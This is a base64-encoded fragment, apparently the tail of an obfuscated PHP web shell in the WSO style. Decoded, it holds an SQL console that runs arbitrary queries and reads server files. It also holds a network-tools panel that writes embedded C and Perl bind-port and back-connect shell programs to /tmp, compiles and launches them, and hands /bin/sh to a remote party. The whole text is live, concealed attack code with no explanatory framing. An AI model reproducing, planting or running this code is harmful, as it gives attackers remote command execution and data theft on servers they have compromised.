ICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09V
TlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7CgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxj
aGFycygkdmFsdWUpOwoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFt
ZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0
KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9j
b3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2Jy
Pjxicj4iOwoJCQkJfQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdp
cygpOyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQu
c2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUg
cGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRk
IHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsKCQkJCWlmKEAkX1BPU1RbJ3Ax
J10gPT0gJ3NlbGVjdCcpIHsKCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVlcnknOwogICAgICAgICAg
ICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsKCQkJ
CQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10p
OwoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7CgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10g
LyAzMCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1
bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3Nj
cmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3Jkcykg
UGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1Rb
J3AzJ10pIC4gIj4iOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOwogICAg
ICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpCiAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIs
ICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOwogICAgICAgICAgICAg
ICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykKICAgICAgICAgICAgICAgICAgICAgICAg
ZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAu
ICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7CiAgICAgICAgICAgICAgICAg
ICAgJF9QT1NUWydwMyddLS07CgkJCQkJaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpCgkJCQkJ
CSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAg
T0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7CgkJCQkJZWxzZQoJCQkJCQkkX1BPU1RbJ3AyJ10g
PSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMydd
KjMwKS4nLDMwJzsKCQkJCQllY2hvICI8YnI+PGJyPiI7CgkJCQl9CgkJCQlpZigoQCRfUE9TVFsn
cDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgewoJCQkJCSRkYi0+cXVl
cnkoQCRfUE9TVFsncDInXSk7CgkJCQkJaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7CgkJCQkJCSR0
aXRsZSA9IGZhbHNlOwoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0x
IGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbj4nOwoJCQkJCQkkbGluZSA9IDE7CgkJCQkJCXdoaWxl
KCTilp8gPSAkZGItPmZldGNoKCkpCXsKCQkJCQkJCWlmKCEkdGl0bGUpCXsKCQkJCQkJCQllY2hv
ICc8dHI+JzsKCQkJCQkJCQlmb3JlYWNoKCTilp8gYXMgJGtleSA9PiAkdmFsdWUpCgkJCQkJCQkJ
CWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsKCQkJCQkJCQlyZXNldCgk4pafKTsKCQkJCQkJCQkk
dGl0bGU9dHJ1ZTsKCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOwoJCQkJCQkJCSRsaW5lID0gMjsK
CQkJCQkJCX0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKCQkJCQkJCSRs
aW5lID0gJGxpbmU9PTE/MjoxOwoJCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrZXkgPT4gJHZhbHVl
KSB7CgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxs
PC9pPjwvdGQ+JzsKCQkJCQkJCQllbHNlCgkJCQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxz
cGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzwvdHI+
JzsKCQkJCQkJfQoJCQkJCQllY2hvICc8L3RhYmxlPic7CgkJCQkJfSBlbHNlIHsKCQkJCQkJZWNo
byAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8
L2Rpdj4nOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9
J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtk
b2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnkn
IHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsKICAgICAgICAgICAgICAgIGlmKCFl
bXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpCiAgICAg
ICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7CiAgICAg
ICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVl
PSdFeGVjdXRlJz4iOwoJCQkJZWNobyAiPC90ZD48L3RyPiI7CgkJCX0KCQkJZWNobyAiPC90YWJs
ZT48L2Zvcm0+PGJyLz4iOwogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykg
ewogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdI
RVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAg
PSAneSciKTsKICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkKICAgICAgICAgICAgICAg
ICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9j
dW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVy
biBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAn
IHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9y
bT4iOwogICAgICAgICAgICB9CgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewoJ
CQkJJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7CgkJCQllY2hvICc8YnIvPjxw
cmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsK
CQkJfQoJfSBlbHNlIHsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigp
KTsKICAgIH0KCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9u
TmV0d29yaygpIHsKCWhhcmRIZWFkZXIoKTsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1Vn
UEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFa
R1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlD
cGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdS
eVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpo
Yldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9Z
WFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlH
bHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtW
VUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052
Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1L
SE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEy
OXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lB
Z0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5
S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpi
Rzl6WlNobVpDazdEUXA5IjsKCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNE
UXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZI
d2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NS
QlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3
Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVM
Q0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNt
OXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdV
b0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNO
Q205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQ
aVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1Ux
UkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwoJJGJp
bmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFX
NW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJ
dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRq
TENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJ
SEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpX
MXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtW
QlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpo
Yldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBi
MmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJt
d29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdS
eUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xz
WlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWda
SFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNE
SW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lB
Z0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5
TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQ
VDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lD
QWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWww
c2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lw
T3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7CgkkYmluZF9wb3J0X3A9
Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1ln
S0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWph
MlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtD
ZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhS
emIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVr
S0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBa
U0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lr
TmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VO
UFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkw
SUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQ
Q1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1Ux
UkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5R
Z1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlP
VGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CgllY2hvICI8aDE+TmV0d29yayB0b29sczwv
aDE+PGRpdiBjbGFzcz1jb250ZW50PgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0nZyhudWxs
LG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTty
ZXR1cm4gZmFsc2U7Jz4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQ
b3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gUGFzc3dv
cmQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJz4gVXNpbmc6IDxsYWJlbD48c2VsZWN0
IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdicGMnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVl
PSdicHAnPlBlcmw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8aW5wdXQgdHlwZT1zdWJtaXQg
dmFsdWU9J3N1Ym1pdCc+Cgk8L2Zvcm0+Cgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSdnKG51
bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1
ZSk7cmV0dXJuIGZhbHNlOyc+Cgk8c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4+PGJyLz4KCVNl
cnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9Ii4gJF9TRVJWRVJb
J1JFTU9URV9BRERSJ10gLiI+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2
YWx1ZT0nMzEzMzcnPiBVc2luZzogPGxhYmVsPjxzZWxlY3QgbmFtZT0ndXNpbmcnPjxvcHRpb24g
dmFsdWU9J2JjYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JjcCc+UGVybDwvb3B0aW9uPjwv
c2VsZWN0PjwvbGFiZWw+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz4KCTwvZm9y
bT48YnI+IjsKCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKCQlmdW5jdGlvbiBjZigkZiwkdCkg
ewoJCQkkdz1AZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250
ZW50cycpOwoJCQlpZigkdykJewoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9y
IEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixA
YmFzZTY0X2RlY29kZSgkdCkpOwoJCQkJQGZjbG9zZSgkdyk7CgkJCX0KCQl9CgkJaWYoJF9QT1NU
WydwMSddID09ICdicGMnKSB7CgkJCWNmKCIvdG1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7CgkJCSTi
lpYgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7CgkJCUB1bmxpbmsoIi90bXAvYnAu
YyIpOwoJCQkk4paWIC49IGV4KCIvdG1wL2JwICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3Az
J10uIiAmIik7CgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVw
IGJwIikuIjwvcHJlPiI7CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewoJCQljZigi
L3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKCQkJJOKWliA9IGV4KHdoaWNoKCJwZXJsIikuIiAv
dG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k
4paWIi5leCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1Rb
J3AxJ10gPT0gJ2JjYycpIHsKCQkJY2YoIi90bXAvYmMuYyIsJGJhY2tfY29ubmVjdF9jKTsKCQkJ
JOKWliA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsKCQkJQHVubGluaygiL3RtcC9i
Yy5jIik7CgkJCSTilpYgLj0gZXgoIi90bXAvYmMgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsn
cDMnXS4iICYiKTsKCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdy
ZXAgYmMiKS4iPC9wcmU+IjsKCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7CgkJCWNm
KCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOwoJCQkk4paWID0gZXgod2hpY2goInBlcmwi
KS4iIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKCQkJ
ZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9w
cmU+IjsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmlmKCBlbXB0eSgk
X1BPU1RbJ2EnXSkgKQoJaWYoaXNzZXQoJOKWmikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24n
IC4gJOKWmikpCgkJJF9QT1NUWydhJ10gPSAk4paaOwoJZWxzZQoJCSRfUE9TVFsnYSddID0gJ0Zp
bGVzTWFuJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rp
b24nIC4gJF9QT1NUWydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydh
J10pOwo=
'));